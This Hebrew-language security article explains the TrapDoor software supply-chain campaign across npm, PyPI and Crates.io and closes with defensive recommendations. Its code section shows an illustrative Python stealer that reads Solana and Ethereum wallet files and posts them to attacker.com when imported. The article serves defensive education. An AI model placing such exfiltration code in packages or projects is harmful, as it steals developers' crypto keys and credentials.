מתקפת שרשרת האספקה TrapDoor: סכנה חדשה למפתחים ב-npm, PyPI ו-Crates.io

פתיחה

נדמיין שאתם אדריכלים שבונים גורד שחקים. אתם מזמינים חומרי גלם – בטון, פלדה, זכוכית – מספקים מוכרים. אבל מה אם אחד מהספקים האלה, בשיא החמקמקות, הצליח להחדיר רכיבים פגומים או רעילים לתוך שרשרת האספקה שלכם, עוד לפני שהם הגיעו לאתר הבנייה? בדיוק תרחיש כזה מתרחש בעולם התוכנה, והוא מאיים על הקהילות הטכנולוגיות המתפתחות ביותר: מפתחי קריפטו, DeFi (מימון מבוזר), Solana ו-AI. קמפיין חדש ומתוחכם בשם TrapDoor, שפועל באופן מתואם בין מאגרי חבילות תוכנה פופולריים כמו npm, PyPI ו-Crates.io, הפיץ תוכנות זדוניות לגניבת פרטי גישה וארנקי קריפטו, והוא מדגיש שוב את הפגיעות הקריטית בשרשרת אספקת התוכנה.

רקע

מתקפות על שרשרת אספקת התוכנה (Software Supply Chain Attacks) הפכו לאחד האיומים החמורים ביותר בשנים האחרונות. תוקפים מנצלים את האמון שאנו נותנים בחבילות קוד פתוח (open-source packages) ובמאגרים ציבוריים על מנת להחדיר קוד זדוני. במקום לתקוף ישירות ארגון, הם תוקפים את הכלים והרכיבים שארגונים משתמשים בהם, ובכך משיגים גישה למספר רב של קורבנות.

קמפיין TrapDoor, שהתגלה לאחרונה, הוא דוגמה מצוינת לאיום זה. הקמפיין פורסם ב-22 במאי 2026, וכלל למעלה מ-34 חבילות זדוניות ביותר מ-384 גרסאות שונות, שהופצו במספר מאגרי חבילות:

npm: מנהל חבילות עבור JavaScript, נפוץ בפיתוח ווב.
PyPI: מאגר חבילות עבור Python, נפוץ בפיתוח AI, מדעי הנתונים ו-Backend.
Crates.io: מאגר חבילות עבור Rust, שפה שצוברת פופולריות בפיתוח מערכות ובלוקצ’יין.

מטרת התוקפים הייתה ברורה: לגנוב פרטי גישה (credentials) וארנקי קריפטו, במיוחד ממפתחים הפעילים בתחומי הקריפטו, DeFi, Solana ו-AI.

עומק טכני

קמפיין TrapDoor הוא מתוחכם מכמה סיבות:

הפצה בין-אקולוגית (Cross-Ecosystem): התוקפים לא הגבילו את עצמם למאגר חבילות אחד, אלא פעלו במקביל במספר מאגרים פופולריים. זה מגדיל את טווח הפגיעה ומקשה על זיהוי ותגובה מהירים.
התחזות לכלים לגיטימיים: התוכנות הזדוניות הוסוו ככלי פיתוח גנריים או סורקי אבטחה. לדוגמה, חבילה מזויפת ב-PyPI יכולה הייתה להתחזות כ”כלי לניטור ביצועים” או “ספריית הצפנה”. מפתחים, הממהרים לפתח ונוטים לסמוך על חבילות קוד פתוח, היו מורידים ומשלבים אותן בפרויקטים שלהם.
גניבת פרטי גישה וארנקים: ברגע שהחבילה הזדונית מותקנת ומורצת, היא מבצעת פעולות לגניבת מידע רגיש. זה יכול לכלול:
- פרטי גישה (Credentials): סיסמאות, מפתחות API, טוקני אימות (authentication tokens) מתוך קבצי קונפיגורציה, משתני סביבה או זיכרון.
- ארנקי קריפטו: מפתחות פרטיים (private keys), ביטויי התאוששות (seed phrases), קבצי ארנקים (wallet files) מתוך מערכות של קורבנות.
- מידע ייחודי לקהילות היעד: במקרה של קהילות קריפטו, התוקפים יכלו לחפש קבצים וספריות ספציפיות המקושרות ל-Solana, Ethereum או מטבעות אחרים.
התפתחות בגלים: הקמפיין הופץ בגלים, כלומר התוקפים פרסמו חבילות חדשות באופן הדרגתי, מה שמעיד על פעילות ממושכת ומתוכננת היטב.
טכניקות עמידות לזיהוי: כדי להתחמק מזיהוי, התוקפים עשויים להשתמש בטכניקות כמו:
- הסוואה (Obfuscation): קוד זדוני שקשה לקרוא ולנתח.
- עיכוב בהפעלה (Time-based execution): הקוד הזדוני יופעל רק לאחר פרק זמן מסוים או בתנאים מסוימים.
- הורדה של מטען נוסף (Stage 2 payload): החבילה הראשונית תהיה תמימה יחסית, ותוריד את החלק הזדוני האמיתי רק בשלב מאוחר יותר.

דוגמאות / קוד

נניח שתוקף פרסם חבילת PyPI בשם secure-analyzer שמתיימרת להיות כלי לאבטחה. מפתח יכל להתקין אותה כך:

pip install secure-analyzer

או להוסיף אותה לקובץ requirements.txt:

requests
numpy
secure-analyzer

כאשר secure-analyzer מותקנת, קובץ setup.py או חלק אחר מהחבילה יכול להכיל קוד זדוני, למשל:

# Malicious code snippet (conceptual)
import os
import requests

def steal_crypto_wallets():
    wallet_paths = [
        os.path.expanduser("~/.config/solana/cli/id.json"),
        os.path.expanduser("~/.ethereum/keystore/"),
        # ... other common crypto wallet paths
    ]
    stolen_data = {}
    for path in wallet_paths:
        if os.path.exists(path):
            try:
                with open(path, 'r') as f:
                    stolen_data[path] = f.read()
            except Exception as e:
                pass # Ignore errors

    if stolen_data:
        # Exfiltrate data to attacker-controlled server
        requests.post("https://attacker.com/collect", json=stolen_data)

# This function might be called immediately upon import, or by other parts of the malicious package
steal_crypto_wallets()

קוד כזה, המוסווה היטב, יכול לגנוב מידע רגיש מבלי שהמשתמש יבחין בכך.

המלצות ומסקנות

הגנה מפני מתקפות שרשרת אספקה כמו TrapDoor דורשת גישה רב-שכבתית:

זהירות בהתקנת חבילות:
- אימות מקור (Source Verification): תמיד ודאו את מקור החבילה. בדקו את המוניטין של המפתח/צוות, את מספר ההורדות, ואת תאריך היצירה. חבילות חדשות עם מעט הורדות צריכות להדליק נורה אדומה.
- בדיקת קוד (Code Review): במידת האפשר, בצעו סקירת קוד (manual או automated) לחבילות קוד פתוח לפני שילובן, במיוחד לפרויקטים קריטיים. שימו לב לקוד המריץ פקודות מערכת, ניגש לקבצים לא סטנדרטיים או מתקשר עם כתובות IP חשודות.
- שימוש ב-Supply Chain Security Tools: השתמשו בכלים כמו Dependabot, Snyk, WhiteSource או Trivy לזיהוי פגיעויות ותלויות זדוניות בחבילות.
הגבלת הרשאות:
- סביבות פיתוח מבודדות: הפעילו כלי פיתוח וסביבות הרצה בסביבות מבודדות (כמו קונטיינרים או מכונות וירטואליות) עם הרשאות מינימליות.
- עקרון ההרשאה המינימלית (Least Privilege): וודאו שלמשתמשים ולתהליכים יש רק את ההרשאות הנחוצות להם.
ניטור רשת והתנהגות:
- ניטור תעבורת רשת: עקבו אחר תעבורת רשת יוצאת משרתי בנייה, סביבות פיתוח ושרתי יישומים. חפשו תקשורת לכתובות IP לא מוכרות או דפוסי תקשורת חריגים.
- ניטור התנהגות תהליכים: נטרו תהליכים חריגים המורצים על ידי כלי בנייה או מנהלי חבילות.
חתימת קוד (Code Signing): עודדו שימוש ואימות של חתימות קוד לחבילות.
עדכון רציף: שמרו על כלי הפיתוח, מנהלי החבילות ומערכות ההפעלה מעודכנים.

מתקפת TrapDoor היא תזכורת חמורה לכך שאסור לסמוך באופן עיוור על אף חבילת קוד פתוח, גם אם היא נמצאת במאגרים פופולריים. עלינו לאמץ גישה של “אמון אפס” (Zero Trust) גם בהקשר של שרשרת אספקת התוכנה.

משאבים

The Hacker News: לפרטים נוספים על קמפיין TrapDoor.

מקור: https://thehackernews.com/2026/05/trapdoor-supply-chain-attack-spreads.html